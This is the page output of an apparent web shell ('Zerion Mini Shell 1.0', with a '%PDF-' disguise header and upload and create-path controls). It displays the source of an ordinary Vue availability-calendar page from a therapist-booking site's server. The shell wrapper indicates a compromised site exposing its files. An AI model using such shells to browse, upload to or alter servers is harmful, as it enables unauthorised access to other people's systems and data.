%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/pages/account/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/pages/account/availability.vue

<template>
  <div class="page-wrapper">
    <PageHeader classObject='bg-pink'>
      <img class="relative z-20 mb-8"
        src="~assets/images/logo-white-small.svg" alt="Takeaseat" />
      <span class="font-bold uppercase text-xl">Account</span>
      <h1 class="relative z-20 text-5xl lg:text-7xl font-bold m-0">Availability</h1>
      <AccountProgressBar slug="availability" />
      <div class="page-header-bottom">
        <AccountNav />
      </div>
    </PageHeader>
    <Block title="Availability"
      description="Select the times you have available for bookings. You can do this in one-hour slots (recommended) or select a block of time i.e. 9-12. If you get a non-Take a seat booking, you will have to delete the block and add the times you have available. Keep your availability up to date to ensure you receive bookings."
      width="max-w-6xl">
      <v-calendar
        class="custom-calendar max-w-full"
        :masks="masks"
        :attributes="attributes"
        :min-date="new Date()"
        disable-page-swipe
        is-expanded>
        <template v-slot:day-content="{ day, attributes }">
          <div class="h-full"
            v-if="new Date(day.id) >= new Date()">
            <div class="flex flex-col h-full z-10 overflow-hidden">
              <span class="day-label text-sm text-gray-900">{{ day.day }}</span>
              <div class="flex-grow overflow-y-auto overflow-x-auto">
                <div v-for="(attr, key) in attributes"
                  :key="key">
                  <div class="relative text-xs leading-tight rounded-sm p-1 mt-0 mb-1 cursor-pointer"
                    :class="attr.customData.class">
                    <button class="absolute top-1 right-1"
                      @click="removeAvailability(attr.customData.id)">
                      <svg class="w-4 h-4 text-white hover:text-red transition" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" />
                      </svg>
                      <span class="sr-only">Delete</span>
                    </button>
                    <span class="block">{{ attr.customData.title }}</span>
                  </div>
                </div>
                <button
                @click="openAvailabilityPopup(day)"
                class="p-1 w-full flex items-center text-xs text-black transition text-opacity-50 hover:text-opacity-100"
                type="button">
                <span>Add Availability</span>
                <svg class="w-4 h-4" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 6v6m0 0v6m0-6h6m-6 0H6" />
                </svg>
              </button>
              </div>
            </div>
          </div>
        </template>
      </v-calendar>
      <t-modal
        v-model="form.open"
        :header="'Add Availability for '+$moment(form.date).format('DD/MM/Y')">
        <ValidationObserver ref="availabilityForm">
          <t-input-group label="Available From">
            <ValidationProvider rules="required" name="available_from" v-slot="{ errors }">
              <input class="form-control"
                v-model="form.available_from"
                type="time"
                id="available_form"
                name="available_form"
                value="09:00" />
              <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
            </ValidationProvider>
          </t-input-group>
          <t-input-group label="Available To">
            <ValidationProvider rules="required|hourAfter:@available_from" name="available_to" v-slot="{ errors }">
              <input class="form-control"
                v-model="form.available_to"
                type="time"
                id="available_to"
                name="available_to"
                value="17:00" />
              <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
            </ValidationProvider>
          </t-input-group>
          <t-input-group label="Session Types">
            <ValidationProvider rules="required" name="session_types" v-slot="{ errors }">
              <t-checkbox-group
                v-model="form.session_types"
                name="session_types"
                valueAttribute="id"
                textAttribute="name"
                :options="session_types"></t-checkbox-group>
              <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
            </ValidationProvider>
          </t-input-group>
          <t-input-group v-if="form.session_types.includes(3)"
            label="In Person Address">
            <ValidationProvider rules="required" name="address" v-slot="{ errors }">
              <t-select
                v-model="form.address_id"
                valueAttribute="id"
                textAttribute="formatted"
                :options="addresses"
                placeholder="Select address..." />
              <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
            </ValidationProvider>
          </t-input-group>
        </ValidationObserver>
        <template v-slot:footer>
          <div class="flex justify-between">
            <button class="btn btn-small btn-primary"
              @click="form.open = false"
              type="button">Cancel</button>
            <button
              @click="addAvailability"
              class="btn btn-small btn-primary"
              type="button">
              <span v-if="working == false">Add Availability</span>
              <span
                class="flex items-center justify-center"
                v-else>
                <svg class="animate-spin -ml-1 mr-3 h-5 w-5 text-current" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
                  <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
                  <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
                </svg>
                <span>Adding</span>
              </span>
            </button>
          </div>
        </template>
      </t-modal>
    </Block>
  </div>
</template>

<script>
export default {
  middleware: ['auth', 'therapist'],

  head () {
    return {
      titleTemplate: 'Availability | %s',
    }
  },

  data() {
    return {
      timer: null,
      working: false,
      masks: {
        weekdays: 'WWW',
      },
      attributes: [],
      addresses: [],
      session_types: [],
      slot_increments: [],
      form: {
        open: false,
        date: null,
        available_from: '09:00',
        available_to: '10:00',
        address_id: null,
        session_types: []
      }
    };
  },

  async asyncData ({ app }) {
    const data = await app.$axios.$get('/account/availability')

    return {
      attributes: data.availability,
      session_types: data.session_types,
      addresses: data.addresses
    }
  },

  methods: {
    async addAvailability() {
      this.$refs.availabilityForm.validate().then(success => {
        if (!success) {
          return;
        }

        this.saveAvailability();
      })
    },

    openAvailabilityPopup(day) {
      this.form.open = true;
      this.form.date = day.id;
    },

    async removeAvailability(id) {
      await this.$axios.$post('/account/availability/delete/'+id).then((response) => {
        this.$axios.$get('/account/availability').then((response) => {
          this.attributes = response.availability;
        });
      }).catch((error) => {
        this.$toast.error(error).goAway(1000);
      })
    },

    async saveAvailability() {
      this.working = true;
      await this.$axios.$post('/account/availability/create', this.form).then((response) => {
        this.working = false;
        this.form.open = false
        this.$axios.$get('/account/availability').then((response) => {
          this.attributes = response.availability
        });
      }).catch((error) => {
        this.working = false;
        this.$toast.error(error.response.data).goAway(1000);
        this.$refs.availabilityForm.setErrors(error.response.data.errors);
      })
    },
  },

  watch: {
    'form.available_from': function (val) {
      let from = val.replace(":00", "");
      let to = parseInt(from) + 1;
      let formattedFrom = from+':00';
      let formattedTo = to < 10 ? '0'+to+':00' : to+':00';
  
      if(val.includes(":00") && parseInt(from) > 0) {
        this.form.available_from = formattedFrom;
        this.form.available_to = formattedTo;
      }
    }
  }
}
</script>

<style lang="postcss" scoped>
  ::-webkit-scrollbar {
    width: 0px;
  }

  ::-webkit-scrollbar-track {
    display: none;
  }

  /deep/ .custom-calendar.vc-container {
    --day-border: 1px solid #ccc;
    --day-border-highlight: 1px solid #ccc;
    --day-width: 90px;
    --day-height: 150px;
    --weekday-bg: #f8fafc;
    --weekday-border: 1px solid #eaeaea;
    border-radius: 15px;
    overflow: hidden;
    width: 100%;

    & .vc-header {
      background-color: #fff;
      padding: 10px 0;
    }
    & .vc-weeks {
      padding: 0;
      overflow-x: auto;
    }
    & .vc-weekday {
      background-color: var(--weekday-bg);
      border-bottom: var(--weekday-border);
      border-top: var(--weekday-border);
      padding: 5px 0;
    }
    & .vc-day {
      padding: 0 5px 3px 5px;
      text-align: left;
      height: var(--day-height);
      min-width: var(--day-width);
      background-color: white;

      &.weekday-1,
      &.weekday-7 {
        background-color: #eff8ff;
      }
      &:not(.on-bottom) {
        border-bottom: var(--day-border);
        &.weekday-1 {
          border-bottom: var(--day-border-highlight);
        }
      }
      &:not(.on-right) {
        border-right: var(--day-border);
      }
    }
    & .vc-day-dots {
      margin-bottom: 5px;
    }
  }
</style>

Zerion Mini Shell 1.0